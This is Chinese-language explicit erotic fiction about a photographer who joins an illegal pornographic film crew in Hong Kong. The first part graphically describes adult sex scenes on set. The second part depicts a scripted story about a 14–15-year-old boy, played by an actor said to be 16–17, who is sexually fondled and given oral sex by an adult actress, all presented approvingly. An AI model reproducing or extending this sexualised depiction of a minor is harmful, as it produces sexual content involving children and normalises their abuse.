图片载入中

A片摄影师手记

特大字】 【大字】 【中字】 【小字

予人玫瑰手留余香,希望您高抬贵手点一下右上角的举手之劳 。

您的支持 是我发帖的动力,谢谢 !

*** *** *** ***

(一)

人生就是这样起落无常,在短短的一个月内,我就连续尝到了倒楣与走运两种甘苦自知的不同滋味。

首先,我任职的广告公司受到市场不景气的影响,终于捱不下去而结业了。

本来我在广告行里也算是一个稍有名气的专业摄影师,收入足以让我过着无忧无虑的“优皮”生活,现在一下子就像从云端跌回了平地,一切都要重新来过。曾多次托行内人询问过有否公司愿意再聘我这个经验丰富的熟手,但以目前的惨淡生意环境,各间公司考虑增加人手的意向甚低,短期内看来是没望了。

虽然拿着一笔不菲的遣散费,可依我现在的开支,相信很快便会见底,到时又怎么办呢?真是一个头有两个大。

俗语说“天无绝人之路”,这不,多年没联络的老同学何昭刚刚就来了个电话,他约我到湾仔的一间酒吧叙旧,还说有个好门路要关照我。侧闻这几年他泊了个好码头,出外衣着光鲜,出手阔绰,身旁女伴如走马灯般转换不停,看来捞得风生水起,盘满砵满,若是能进他公司也任个一官半职,那岂不爽死!

灯光昏暗的酒吧里人不多,只得几桌客,很容易在一个角落里就找到了他。

见我进来,他挥动戴着耀眼金表的手向我招引,刚坐下,就先替我点上一支烟,随即又叫了两杯啤酒,寒暄几句后,话匣子就进入了正题。

“阿林,别怪我说啦,你替老板这么卖命,到头来还不是给他一脚踢开?这年头,忠忠直直再也不吃香了,倒不如去赚取旁门钱来得实际。你看我,风流快活,要吃有吃,要穿有穿,要女有女,有哪样缺的?”

“你老哥说得可轻松,谁不知月亮是圆的?唉,你命好,找到个好靠山,我可是今天不知明日事,还在等走运呢!”

“欸,欸,你走运了!”何昭用夹着香烟的手指着我说:“我老板正缺一名摄影师,你要是肯投到他旗下效命,我保管你财源广进,要啥有啥!”

“是吗?”我有点心动了:“我以前是拍广告短片的,不知符不符合他的要求,做不做得来呢?”又随口问多句:“对了,你公司是拍广告片还是拍部头电影的?原来的摄影师怎么不干了?”

“哈哈哈……”何昭笑了起来,弹了口烟灰,然后压低声音说:“是拍人体艺术片的。”又凑近我一些:“正确来说,是人体艺术加动作片。”

“哦,是功夫电影。”我点点头,有点眉目了:“打斗镜头摆动较快,比起慢条斯理的广告片难拍得多,不过举一反三,相信我还是可以胜任的。”

“成!你一定成!”何昭伸手拍拍我的肩膀:“这种打斗是在原地搏击,捕捉镜头不难,你只要把画面拍得像你以往的广告片那么美,保证老板收货。”

这对我来说可算轻车熟路,顿时放下心来,不过还是有点奇怪:“既是功夫片,不会老是在原地打斗吧?而且有些特技我还不太会掌握。”

何昭用他那招牌笑容哈哈的笑起来:“打斗只是在一张床上面进行,还能远得到哪去!”顿了顿,他又作补充:“有时候,一个镜头连拍十五分钟都不用挪动呢!你说简不简单?”

“床上戏?那不是拍A片吗?”我出乎意料之外。

“什么A片B片的!”他看看四周无人,又继续说:“是色情电影。”吐了口烟圈,他再轻描淡写的说:“现在这个市道,拍这个就最有销路了,我们的片子大多出口到欧美,只要有人买,我们就肯定猪笼入水。”

我开始考虑要不要趟这淌混水,老半天才挤出一句:“这可是犯法的啊!”

“嘿嘿!又不是打家劫舍、杀人放火,拍个色情片而已,只要做得密实,你不说我不说,谁会知道?原先那个摄影师被逮入狱也并不是因为他拍色情片,只是搞大了一个未成年少女的肚子,被人家父母扭送到警局去,不然这份好差事还轮不到你呢!”

再倔强的人也不得不为三斗米折腰,何况何昭说的也不是全没道理,我不再犹豫了,举起杯子和何昭一碰:“好,那就谢谢你的关照了,以后请多多指点。

干这种玩意,老实说我还是头一遭喔!“

“好,够爽快!哥儿俩也别再婆婆妈妈了,上次有部片子尚欠几个镜头才完结,你就等我的电话通知,到时我带你到片场去。”

“哇赛!还有片场耶!我一向以为拍这种片子只须随便找个房间就可行事,想不到还可以搞得这么有规模。”

何昭对我的惊讶报以浅浅一笑,从包里拿出一本小册子递过来:“这是那部电影的剧本,为了要前后衔接,你最好先读一下,有红笔标示的地方是上一手摄影师最后拍摄到的场景。”他招手吩咐侍应结帐,然后转头对我说:“好了,就这样,我还有点事要办,先走了,希望大家合作愉快。”

过了两天,果然就接到何昭的电话,我坐进他车上,一路往新界驶去。

车子在一个偏僻的小山丘旁停下来,那是位于元朗的一座旧货仓,外表看起来与其它同类的货仓并无分别,掩影在数棵凤凰木后面更令它毫不显眼,可是一进到里面,设备齐全的装置却让我赞叹不已,无论是化妆台、厕所、浴室、射灯吊架、反光板、摄影机、电脑现场即视屏……等等都一应俱全,中间还搭建了个布景,看来似乎是某家豪宅室内睡房的模样,正中当然少不了有张大床。

我走到摄影机前去先熟习一下操作控制,虽然这是较新款的型号,可对我来说却绝无难度,摆弄几下便已掌握了要点。这时何昭过来介绍我的助手:“这是肥波,进来快三个月了。阿林,今后你要多多指点一下后辈啊!”

“呵呵,林师傅,素仰大名,请前辈不吝赐教。”肥波忙伸出掌来握手,我客气地回道:“哪里,哪里,后生可畏,如有不明的地方我还得问你呢!”

原来何昭负责片子的发行兼任场务,这时他已转身过去忙着张罗开镜前的各项事宜,一边指点着射灯校正角度,一边又与工作人员讲解着剧情,编排着各人等下的走位,忙得团团转。

女主角这时也来到了,姿态婀娜地走到化妆台前坐下,化妆师媚姐连忙过去接过她脱下来的外套挂好,跟着提住化妆箱上前帮她化妆。我扭头望过去,从镜子的反映里一看到她的芳容,马上惊愕得几乎叫了出来,原来她就是当下最红的A片艳星——薛莉!

薛莉主演的色情片,凡是在香港能搜罗得到的我几乎都有收藏,并且珍而重之,隔不多久就会取出来重温一遍。她身材妙曼、艳光四射、魅力逼人,是我心目中的意淫对象,又是安慰我春心的性感女神,不知多少次在午夜梦回中惊醒,换下沾满精液的内裤时,她在我身下扭摆承欢的倩影还残留在脑海中;她更是我打手枪时不可或缺的必需品,令我在电视机前联想翩翩、如痴如迷,耗费了数不清的子子孙孙。

男主角不知何时亦已来到了片场,他担演的色情片已记不清究竟有多少部,只记得在我懂得看色情片开始就已认识这个响铛铛的名字——高山。当时他体格扎实、英俊倜傥,尤其是有一条令人羡慕的大鸡巴,在他主演的片子里,每当看到女人被他肏得欲仙欲死、浪叫连连时,便会让人不由自主地生出代入感,仿佛那个欲海猛男就是本人;他也凭迷人的浅笑与过人的耐力,受到无数深闺怨妇们的垂青,争相自动献身。

可是岁月不饶人,兼且色字头上一把刀,旦旦而伐的生活很快就削弱了他自恃的有限精力,在最近的片子里,明显可见到他身材已逐渐走样,不但肌肉松弛了,还有了个小肚腩,精液量也射少了,之所以还有老板邀他拍片,可能是那根大鸡巴仍保持不变吧,但是勃起的硬度显然已不及从前了。

他慢慢脱清全身衣裤,进浴室去洗了一个澡,然后只披着一件睡袍踱进布景场,坐在床边等候。灯光人员亮起射灯,测光师正挪来挪去忙着对光,我见导演已坐到他的专用椅子上了,赶快向助手肥波打个眼色,一起推着摄影机,齐齐向布景场移去。

这套片子叫《咸湿波士俏秘书》,依照剧本,最后这场戏是说那个好色波士终于把他貌美的女秘书泡上了手,带她回自己家里来场盘肠大战,我的任务很简单,由头至尾都是拍摄他们两人的性交过程。

薛莉这时已经化好了妆,走进场景后,在众目睽睽下旁若无人地脱去身上的连衣裙,里面光熘熘的什么都没有穿,不知是她习惯一向都是这样,或是为节省时间早已把胸罩、内裤剥掉了,就这样赤条条的一屁股坐到床上。

媚姐在旁边替她细心地梳理一下头发,再补点口红,顺手在乳头上也涂抹一些,令乳头在灯光下显得更加嫣红夺目;薛莉还张开大腿,让她把两片小阴唇也照样处理一番,以便拍摄性器大特写的时候收到鲜嫩诱人的效果。

我把镜头推近她阴户对焦时,心脏跳动急促得好像快要从嘴里蹦出来了,朝思暮想的性感尤物就在我眼前咫尺距离露出她最神秘、最迷人的私处任由观赏,纤毫毕现,清晰得简直触手可及,又怎不令人血脉贲张?

薛莉那副魔鬼般的身材可真不是盖的,根本就是拍A片的顶级料子,脸孔艳丽性感不用说,单就那纤细得盈盈可握的小蛮腰却配上一对巨大的乳房,稍微晃动一下就足以令人胯下变硬;稀疏的阴毛遮不住阴户的结构,只要大腿一张开,无论是胀卜卜的阴唇、潮湿的洞口,都可一览无遗地展露在你眼前;尤其是那粒娇嫩的阴蒂,竟有如红豆般大小,异乎常人的凸出在包皮外面没缩进去,似乎引诱着你用舌头去舔上一口,光想想便忍不住要喷精。

高山脱去披在身上的睡袍,胯下阴茎还是软耷耷的,换作是我,那玩意儿早就在不断点头哈腰了。由于上一组镜头已拍完了两人调情的前戏,这次接拍的是明刀真枪的肉搏部分,所以一开始就是肏屄。

薛莉在床上躺下张开腿,射灯集中照射在她阴户上,就只欠高山的阴茎插进去,导演拿起话筒喊着:“全世界准备……开始!”

片场的灯光全部亮起,打光师拿着反光板站在高山后侧,将光线反射到两人性器交接处射灯不能直接照到的部位,我和助手一人推着一部摄影机靠近,他负责拍两人全身画面,我则负责拍抽插动作的大特写。

高山翻身趴到薛莉身上,一面揉着她的乳房,一面移动屁股想把阴茎插进她阴道去,可是挪来挪去都不得要领,小弟弟要不是擦门而过,就是勉强只塞进一个龟头,刚一抽动又脱了出外。薛莉也发现有点不对劲,伸手下去欲扶他一把,可是握到手的却是一条软鞭子,只好套动几下希望它会硬起来。

“卡!卡卡卡!”导演气得从椅子上跳起来:“你他妈的怎么搞的!没事就少打几炮啦,是不是要全部人看着你打飞机,打硬了才开工啊?不知所谓!”

高山尴尬地回头向导演敬个礼,脸红红地说:“行,就行了,请再给我多点时间,很快就会硬起来的。”

“硬硬硬!要硬刚才就能硬起来啦!你的口才最硬!再这样下去,我看你干脆就别在这行混,回家专心做你的鸭好了。”导演走到薛莉身旁,柔声对她说:“莉姐,帮帮忙,试试用嘴替他弄一弄,看能不能起死回生。客人赶着要货,这部片子只差这一场就功德完满了,拜托!拜托!”

薛莉也真有职业道德,二话不说直起身子,跪在高山跟前握着他的阴茎放进嘴里就吸啜了起来。

导演过来跟我耳语:“继续拍,遇上精彩的镜头免得错过,我们可以剪接到上一回合里使用。”我点头会意,将镜头移上去薛莉口交的部位,拍摄着她使出精湛技巧的吹箫过程。

镜头里出现令人脸红耳热的画面:一个美若天仙的赤裸女子,口里含着男人的生殖器,时而用舌尖挑逗着那颗半红不黑的龟头,时而又将整根肉棒吞进嘴里前后套动,手也没闲着,用指尖在卵袋上轻轻搔刮,为等下将要插进自己阴户的丑陋凶器作着热身运动。

高山的阴茎虽然还未完全勃硬起来,但由于他天赋本钱充足,这么粗长的一根肉棒全部塞进薛莉的樱桃小嘴里可也真够她受的,难以想像一会勃硬起来,她的口腔怎么可以容纳得下这支庞然巨物。

高山半弓着腰,边享受着薛莉的口舌服务,边伸出双手捞着她胸前一对巨乳搓揉起来。双重刺激下,他胯下的肉条一下一下地逐渐膨胀,可以看到薛莉的一边腮帮子明显地给龟头撑起了个圆鼓鼓的凸起。薛莉见状也不含煳,加快了脑袋前后摆动的幅度,对高山的阴茎深吞长吐,很快就将软皮蛇变成了怒目金刚。

导演见时机成熟,松了口气,忙喊:“Action!”全部工作人员都安静下来,将视线焦点集中在薛莉和高山两人身上。

只见薛莉握着高山的阴茎从嘴里拔出来,一丝透明的唾沫由她两片樱唇连接到龟头上,晶莹通剔,垂垂欲堕,鲜艳的口红沾染得包皮上凸起的青筋也变成了深紫色,更显得这根肉棒狰狞凶猛。

高山握着阴茎在床上跪下,薛莉也很有默契地仰面后躺,双手扶着高山的腰肢,两腿盘过他屁股勾到背后,尽量将大腿张开迎接他的入侵。高山前俯趴到薛莉身上,用手操控着阴茎校正炮位,一俟龟头楔入两片阴唇中间,马上将屁股一沉,偌大的一根肉棒便势如破竹地长驱直入,借着薛莉的唾沫作润滑,两副性器眨眼间就只剩下卵袋与阴户紧贴在一起。

两人正面交锋已不是第一次了,干起来纯熟得简直无瑕可击,尽管肏屄就是这么回事,但每一下抽插和迎送的角度都恰到好处,令每一细节都毫无遗漏地展现在镜头面前,不用我刻意调整位置,总能拍摄到最佳画面。

这样的抽插镜头应该可以连续拍五至十分钟才转换性交姿势,我刚想固定好摄影机偷空抽口烟,忽然一个奇怪的现象引起了我的注意,薛莉本来凸露出外的阴蒂受到高山挺动时阴毛的揩擦,竟变得越加肿胀,红卜卜的翘起来像颗小尾指头;更难以置信的是此时随着高山阴茎的活塞运动,竟从阴道里带出一洼洼滑熘熘的淫水,顺着薛莉的股沟向屁眼方向淌下去。

一向以来我对A片的这类镜头都认为是弄虚作假,肯定是制片在上面做过手脚,绝不相信有哪个AV女郎会在这种场合兴奋得淫水长流,要不是后期加工,就是预先在阴道里注进某些液体,让阴茎挤逼出外形成淌淫水的画面,想不到薛莉却让我从此大大改观,不但改观,简直是叹为观止!

抽插了好一会,高山把鸡巴从阴道里拔出来,肉棒竟湿得如同刚从水里捞出来一样,薛莉也会意地马上翻转身子趴伏在床上,翘起屁股让高山从后面再来。

这次牡丹垂露、青竹蒙雨,不费吹灰之力便一杆入洞,全根尽没。

我把摄影机挪侧一些,将镜头对准两人胯下,可是画面却给高山那个卵袋全占据了,无法捕捉到肉棒在阴户中穿插的细节,没想到这时不用旁人吩咐,高山已自动抬高一条腿跨到薛莉股侧,卵袋亦即时随着升高,露出薛莉那个湿淋淋的浆煳潭;薛莉也自动伸手抠着自己一边臀肉向外掰开,令小屄微张、肉洞乍现,整个交媾部位一目了然。我不禁暗暗佩服两人的职业水准,果然是熟能生巧、合作无间。

虽然淫水不断泄流出外,可是薛莉却没有“嗯嗯啊啊”的叫床声,我开始还有点纳闷,怎么都亢奋成这样了,竟会忍得不呻吟出口?后来再细心观察一下四周,原来并没有现场收音设备,这才恍然大悟,所有“啊啊啊”的叫床声、肉体相撞的“啪啪”声、性器抽插的“噗嗤”声、淫水磨擦的“唧唧”声,以及背景衬托音乐,全部都是后期制作时再作配音混合,难怪薛莉被干得再厉害也只用鼻子轻哼几下而已。

高山的阴茎胜在够粗长,在大特写的画面里显得更加夸张,薛莉娇小的阴户被它填塞得又饱又胀,两片可怜的小阴唇撑阔得紧紧裹住肉棒,绷扯到似乎成了一块薄皮,随着阴茎的抽动而不由自主地在阴道口反复卷入拖出,相信单是这个镜头已足以给将来欣赏此片的观众提供视觉上的最佳官能刺激。

高山又抽插了百多下,然后趴伏到薛莉背上,伸手向前握住她一对乳房借力往后一坐,顿变换成女上男下的坐莲招式,我连忙将摄影机推到大床的另一边,继续追拍两人的性交过程。由于避免电线纠缠,这次由我拍全身画面,肥波则在原位推近转拍大特写。

薛莉背对高山骑坐在他大腿上,挪挪屁股调校好小屄适应阴茎的方向,然后将一头秀发拨到一边,曲起双腿放在高山盘骨两旁,再把身体倾斜后仰用手支撑体重,开始摆动下体一升一降地用阴户吞吐起高山的阴茎来。

高山连干两个招式,此刻也显得有点疲累了,正好乐得以逸代劳回一回气,躺在床上挺着阳具任由薛莉上下套动,自己则从薛莉腋下伸手前去搓玩那对正跟随身体抛动而弹跳不已的乳房。

薛莉身经百战,对着高山这根能把寻常女子阴户插爆的巨大肉棒应付得收放自如,用粗俗点的话语来形容,若把肏过她小屄的阴茎头尾相接排列起来,恐怕足够围绕整个布景场一圈。她一会抬起下体让肉棒退出到只剩龟头在阴道内,再用力狠狠坐低,把肉棒吞个寸甲不留;一会又用阴户紧紧抵住阴茎根部,筛动屁股采取画圆般的转圈招式慢慢研磨,让阴道内壁去挤压肉棒以柔制刚。

高山起先还能耸动下体去配合性器碰撞来加强磨擦,但在薛莉接二连三的施展出媚功后,渐渐显得不济了,不单无还手之力,甚至招架之功也丧失至尽,气喘转促,汗冒如麻,小腹也频频下压,看来快撑不下去了。

果不其然,纵使他在脂粉丛中打滚了不少岁月,征服过众多荡妇淫娃,但是在薛莉的连番攻势下,还是要败下阵来。他托住薛莉两瓣臀肉缓和一下冲劲,口中喃喃念着:“慢……停一下……我……我要射了……”

导演做了个“OK”手势,薛莉会意,这场大战已接近尾声了,遂抬臀转身俯到高山胯下,一边用手套捋着阴茎的包皮,一边张嘴把鼓胀成紫红色的大龟头含进口里。高山“喔……”闷哼一声,腰一硬一挺,随即打了个哆嗦,薛莉的嘴角马上渗出一道白色的精液,顺着她唇边慢慢垂下来。

薛莉笑笑口放开肉棒,趴在床上对着镜头张开嘴,只见舌面上铺满了一层黏煳煳的精液,她用舌尖舔着那些蛋白质在嘴里搅动几下,“咕噜”一声吞下肚里去,然后朝着镜头再张开嘴,里面已经空空如也,点滴不留。

她对着镜头作出一个狐媚的浪笑,慢慢用舌尖舔着遗留在唇边的剩余精液,津津有味地带进嘴里去品尝,我也配合着将镜头缓缓拉近,并同时把画面作淡出处理,给剪接人员用作影片完结时叠印字幕之背景。

“卡!”导演这时满意地大喊一声:“OK!全世界收工!”

(二)

回到家里,薛莉那妖冶的荡笑、火爆的性交场面,仍在我脑海中交错盘旋,挥之不去,勃硬了一整天的阴茎已有点胀痛了,可到现在还是誓不低头,丝毫没有软下来的迹象。在洗澡时我希望借打次手枪来舒缓一下,可是套动了好一会仍味同嚼蜡,再也不能像从前那样一泄为快了。

薛莉呀薛莉,假如今天与你做对手戏的不是高山而是我,那是多梦寐以求的美事啊,我愿意倾尽体内所有精华奉献予你,做你裙下不二之臣;假如今天你嘴里含着的那条阴茎不是属于高山而是我的,能够在你嘴里、小屄内、乳房上,甚或身体任何一处部位射精,我会射一千次、一万次都嫌不够,即使精尽人亡,在你那朵淫糜的牡丹花下做个风流鬼……

躺在床上,薛莉的倩影不断在我眼前浮现,无法安心入睡。糟了,今天只是拍了一场她的戏,我就这么不能自拔,真是太走火入魔了,以后再拍她影片的机会多的是,我怎么去面对她那些充满热力的诱惑,怎么去收拾起自己的心情呢!

辗转反侧之下,终于还是翻身而起,从我的珍藏中找出一出薛莉主演的片子播放,边看边对着她淫叫连连的画面打了两次手枪,才勉强把体内的熊熊欲火压制下去,朦朦胧胧进入梦乡。

还好,那部戏杀青后,接下来的一星期都没有新片开拍,心里掀起的涟漪才慢慢散去,生活逐渐回复了正轨。

这一天,何昭又打来电话,老板终于有部新戏要开拍了,他告诉我说,女主角仍然是薛莉。天呀!好不容易才收敛起心绪,现在又要重蹈覆辙,天天对着一块到不了口的肥肉,简直是精神虐待,我怎么受得了这种煎熬啊!

开镜前两天何昭派人送来了剧本,片名是《偷恋隔墙花》,故事大纲是描述一个十四、五岁情窦初开的单纯小男生暗恋住在他隔壁的一位年青少妇,偏偏这个表面贤淑的人妻暗地里却是个骚浪的淫娃,她察觉到小男生对她有意思之后,便刻意制造机会让他接近,最后更设计挑起他的性欲,偷偷带这男生到酒店辟室寻欢,吃掉了他的“童子鸡”。

这段畸形的忘年之恋最终给少妇的丈夫发觉了,他把老婆捆绑起来,用针刺乳头、蜡滴阴户等性虐手段逼使她招认,少妇熬不过去,将奸情和盘托出,但想不到他得到证实后不以为忤,反倒怂恿妻子带少年回家做爱并容许他躲在暗处偷窥,最后更发展至大被同眠,在家里胡天胡帝齐玩三人行,一丬斗室春色无边。

A片的内容虽然来来去去都离不开这三道板斧,但对我来说,一经薛莉亲自演绎便套套新鲜、与众不同。我觉得薛莉真人比她上镜时还要美、还要骚,那种美和骚是从骨子里透出来的,不在现场绝不会领略得到那种渗入心肺的颤栗,那种只瞄你一眼就足以让你由早到晚心如鹿撞的陶醉。

令我好奇的是,这次男主角是个十四、五岁的少年,而A片界里拍摄幼齿影片一向多是采取记录片手法,既没有剧情铺陈,演员也不须讲究演技,所以行内从来没有专演A片的“童星”。照剧本看来,这次难度较高,他们到哪去搜刮一个胆敢在镜头前若无其事地耍枪弄棍,而同时又是个初懂性事的菜鸟?

新片开镜的日子终于来到了,由于先拍室内的场景部分,外景最后才补拍,所以演出仍然是在元朗那个片场进行。按照惯例,开镜首日必须烧香拜神祈求拍片顺顺利利,而且何昭还要监督布景搭建、服装道具,因此我和他一早就来到了片场。他有他忙碌,我有我逍遥,花费十五分钟检查完摄影机与电源之后,便拿了本《花花公子》躲到一边翻看起来。

肥波领着一个十六、七岁的少年这时进入片场,他首先引领着少年去到何昭跟前:“这是我老大昭哥,快叫昭哥啦!”还在好奇地东张西望的少年赶忙恭恭敬敬地向何昭鞠了个躬:“昭哥。”

“唔。”何昭转身上下打量了他一眼,扭头问肥波:“这就是你说的那个朋友哦?本钱真如你所说的足够分量吗?”眼角匆匆向少年裤裆偷扫一下。

“昭哥,我哪次试过放你鸽子了?”肥波嘻嘻笑着说:“不是猛龙不过江,我肥波绝不会胡乱推荐的。”又靠到他耳边说:“我和他经常一起踢足球,在更衣室里不止一次见过他的家伙了,”用手比了比:“有这么长呢!”

最后一句连我这边都听见了,少年的脸唰地涨红了起来,用脚轻轻踢了肥波一下,肥波拍着他肩膀哈哈笑着:“哎呀俊龙,到了这地步还害羞什么?男人能有这样的本钱,人家羡慕都来不及呢!等下打真炮的时候,别手忙脚乱得连洞口都找不到才好。哈哈哈哈……”

一阵扑鼻的香风徐徐飘过,伴随着“喀、喀、喀”的高跟鞋走路声,我放下手中杂志抬眼望过去,鼻腔一热,几乎喷出血来。我的梦中女神正仪态万千地踱进片场,她身穿一件无袖的黑色低胸通花上装,透过缕空的孔隙可见到里面戴着的浅灰色胸罩,可是这个胸罩似乎太过窄小了,两团肉球还包不到一半,以至使人产生一个错觉:只要她不小心让胸罩挪下一分,两粒乳头马上就会弹跳出外;

下身是条藏青色的迷你短裙,紧紧包裹住两块圆鼓鼓的臀肉,连丁字内裤的形状亦完整地给勾勒了出来。

头发是时髦的流行发式,半短微卷,配上一对天然蛋白石的椭圆耳环,细心修描而又浓淡得宜的化妆,令一抹红唇成为整个面廓的焦点;臂弯挽住一个咖啡色仿皮手袋,藕色丝袜、漆皮高跟鞋,邻家美艳少妇的形象简直唿之欲出。

我开始羡慕起肥波那个朋友来,无可否认他确是长得眉清目秀、体格壮硕,但试问谁个少年时期不是一样青春满载?只不过他身体上某个器官超乎常人,便可凭此而一亲薛莉香泽,我不禁有点抱怨造物者的厚此薄彼。

导演最后迈进片场,何昭早已摆妥了香案拜桌,一等导演过去便全部工作人员齐齐烧香秉拜,合什祈安。仪式过后,各就各位,首个场景拍摄正式开始。

薛莉补好妆换上一套住家少妇的装束,脑后挽了个发髻,拿着支鸡毛掸子装模作样在打扫房间。“咯!咯!咯!”玄关传来敲门声,“谁呀?”薛莉搁下手上的鸡毛掸子过去询问。

肥波在门外将镜头对准他朋友,“吴太太,是我,阿龙呀!我想过来借碗泡面,我家的刚好吃完了。”这少年念台词倒念得有板有眼的。

我推着摄影机追随在薛莉身后向大门走去,“呦,原来是小龙耶,来,进来再说。”薛莉打开大门,半请半拽的把阿龙扯进屋内:“你还没吃饭呀?刚巧我煮好了两人的饭,我那死鬼今晚有应酬,不回来吃了,反正我一个人吃不完,你就在这儿和我一块吃吧!”阿龙尚未答腔,已给薛莉一把拉到沙发上坐下了。

“Cut!Good Take!”导演满意地喊停,何昭走过去替他点上一支雪茄,“这小子叫什么名?”他徐徐喷出一口烟:“演得还可以。”

何昭招手唤阿龙过去:“来,导演问你叫什么名字。”

“我叫田俊龙,请导演多多包涵。”阿龙毕恭毕敬地回答道。

“唔……叫阿龙的人实在太多了,索性省去一个龙字,今后你的艺名就叫田俊吧!”导演由头至脚对他打量一番:“嗯,样貌倒也俊朗,在这行混最着重包装,好好干,你很快就会走红的。”

“谢谢导演提拔。”阿龙深深地鞠了一个躬。

这次场景改在另一个布景里拍摄,那是吴太太家的饭厅,薛莉由坐在田俊对面假借替他夹菜、勺汤而逐渐移到变成坐贴他身旁,又装作不小心弄翻了汤碗打湿衣服把外衣脱掉,只穿一件薄薄的半透明内衣陪伴在侧,加上里面空荡荡的连乳罩都没戴,身体一动,两个肥肥白白的奶子就左右乱晃,与衣服磨擦之下,那两粒莲子般大的乳头竟硬挺了起来,将内衣撑凸起两个尖尖。

田俊望着眼前乍隐乍现的春色,嗅着不断钻入鼻孔的乳香,连喝进口里的汤也忘记咽下去了,一丝丝从嘴角滴答滴答的往下淌。无意中向下一看,乖乖不得了,薛莉的裙子不知何时已向上卷到了腰际,胯间什么都没穿,一小撮乌黑油亮的阴毛在小腹下随着风扇吹过来的空气左右摇摆,像在向少年招手:“来呀!来摸摸我看柔不柔软?”

血气方刚的少年哪里抵受得住这般要命的诱惑?裤裆中间早已支起了一个高高的帐篷。薛莉望着那座小小的金字塔,咭咭的低笑着,手指像毛毛虫一样顺着大腿慢慢向塔尖爬去,到了顶峰,便将整只手掌伏在上面,温柔地轻轻按摩着。

田俊唿唿的喘着粗气,眼睛一会盯着穿了内衣等于没穿的上身,一会又低头盯着下身那片芳草发呆,暗恨妈妈只给他生就一对眼睛,无法上下兼顾。

薛莉揉了一会,转而将手顺着短裤的管口向里面伸进去,田俊吃了一惊,飞了出去的魂魄似乎霎时回归体内,尴尬地按住薛莉逐渐进侵的手:“吴太太,不要……我……我……妈妈会骂……”

薛莉“噗嗤”一声笑了出来:“傻瓜,谁叫你去告诉妈妈知道?姐姐摸你,你也可以摸回姐姐呀,这样大家都不吃亏,就算给你妈妈知道了,她也不会骂你的。”说着,把胸前两团肉轻轻抖了抖:“想不想摸摸看?”

田俊的脑袋像捣蒜似的点个不停,薛莉掀起内衣卷到脖子下,抓着田俊两只手放到自己一对奶子上:“试试握一握,不然像搓面团般揉揉也行。还有,以后不准再叫我吴太太了,要叫姐姐,懂吗?”田俊咽了口唾沫,捧着两团软肉轻轻揉了几下,很快就掌握要领,一会将奶子紧握掌中搓圆按扁,一会又捏着乳头捻扭揩磨,玩得开心极了。

没了田俊双手的干扰,薛莉很快就顺藤摸瓜的在裤裆里触到了一根干劲十足的热腾腾年轻肉棒。一握进手中,薛莉便情不自禁地低唿一声:“哇!”这根肉棒子比她想像中的更大、更硬、更粗!再向上摸摸,“天呀!”那个龟头又圆又滑,胀卜卜、硬鼓鼓,仿佛少年偷了个鸡蛋藏在裤裆里,心里一荡,不由得圈在手中上下套动把玩了起来。

田俊玩到兴起,自然又得陇望蜀,抬头向薛莉问道:“姐姐,你的咪咪好美好香啊!让我吸一下行吗?”说着,舔了舔嘴唇。

薛莉等的就是这一句,但是却有交换条件:“行啊,不过姐姐让你吸,你也要让姐姐吸才可以,这样才够公平。”口说着,可手却没停下来,依然在裤裆里把玩着那根与少年年龄毫不相衬的大肉棒。

“可是……”田俊有点迷惑地低头看了看自己胸部,不解的说:“我这里平坦坦的不像姐姐那么大,没东西让你吸啊!”

薛莉给他逗笑到花枝乱抖:“你这里是小,但有处地方却比姐姐大啊!这样吧,你吸姐姐的上面,姐姐吸你的下面,两人就扯平了。”说着,手在肉棒上捏了捏。

田俊还没充份理解完这句话的含意,薛莉已经主动拉开他的裤链,将憋了多时的肉棒释放出来。只见那光头小和尚红红嫩嫩的十分可爱,棒身粗,头儿大,两只手握满,那个光头还是露了出外,比自己老公的还要长出一截;一些黏黏滑滑的液体凝聚在马眼口,用指头沾沾,竟可以拉出一条长长的细丝,薛莉喜爱得简直不愿再松开手。

田俊的注意力全部集中在薛莉胸前的一对奶子上,顾不得她现在在自己下面正做着什么,一口叼着颗乳头含进嘴里,马上就像婴儿啜奶般吮吸了起来。薛莉舒服得眯起双眼,昂起头像猫儿叫春一样哼哼着,要不是这少年郎正埋头在自己胸前吸奶妨碍弯腰,她早已把那肉棒纳入嘴里了。

退而求其次,反正到口的烧鹅也不怕它会飞掉,只好一边享受着少年的口舌服务,一边把玩着那根爱煞人的肉棒过过手瘾,想像着下一步吃这只鲜嫩的“童子鸡”时,手中这根活力十足的女人恩物在自己阴道里横冲直撞的快活情形。

田俊吮完左边又吮右边,头在薛莉胸前摆来摆去,要是可能,恨不得把两颗乳头都同时含入嘴中吸个痛快。可不知道这样轮流刺激薛莉的奶头,却让薛莉更加骚痒难耐,混身虫行蚁咬,欲火越烧越旺,偏偏能够止痒的工具就握在手中,这时却不得其门而入,折磨得薛莉人就快要疯了。

好不容易才盼到田俊吐出奶头喘口气,薛莉马上抓紧机会:“好玩吧?一会再来,你先到沙发上躺下歇歇,轮到姐姐吸你了。”

田俊一站起身,松了拉链的裤子马上滑了下去,薛莉干脆顺手替他内外裤一起脱掉,就这样挺着一根硬梆梆的鸡巴、光着下身让薛莉拖着手拉到沙发上。人躺下,鸡巴却一柱擎天的朝上直竖,薛莉跪在沙发旁握着鸡巴套捋几下,随即俯身张嘴吞入口中。

田俊自出娘胎以来何曾经历过这等阵仗,薛莉吞吐没几下他便浑身哆嗦,抽搐连连,一种从未试过的奇怪感觉由心底悠悠升起,说难过但又很爽,说很爽却又真的很难过;更矛盾的是,很想叫她停下来,可同时又希望她继续下去,脑筋越来越混乱,这未经人事的处男根本就不知道该如何去处理这股燃起的春情。

直到薛莉吞吐一番,将阴茎从嘴里吐出,转而含住龟头吮啜时,田俊再也忍不住了,他憋红着脸期期艾艾地说着:“姐姐,不要再吸了……我下面胀得很难受……我……我想……我想尿尿……”

薛莉是过来人,当然知道这是怎么回事,虽然万分不舍得把龟头吐出,可她又不想这个处男的第一注阳精就这样浪费在自己嘴里,她有她的打算,她要这个少年郎迷恋在他第一次射精的地方,要用胯下的盘丝洞绑住少年的心,以后这根让人爱煞的大肉棒就听任自己随意指挥了,精液长射长有,哪怕没有口福?

薛莉赶紧把龟头吐出口外,惟恐稍加刺激便火山爆发,糟蹋了这些珍贵的童精。田俊的阴茎虽然离开了薛莉的小嘴,可是频临射精边缘的冲动依然在体内徘徊,未能一下子散去,鸡巴在腹下一跳一跳的跃动,极度充血的龟头也由原先粉嫩的浅红色变成了深红,就这样连续抖动了差不多三分钟,那种奇怪的感觉才慢慢消散。

薛莉不敢再碰田俊的阴茎了,只是在卵袋上轻轻摸揉着两粒蛋蛋,她让田俊继续把玩着一对奶子,笑笑口问:“试过自己用手弄这里吗?”说着,指一指他的阴茎,田俊不假思索的马上回答:“有呀!每次尿尿我都得用手把着。”

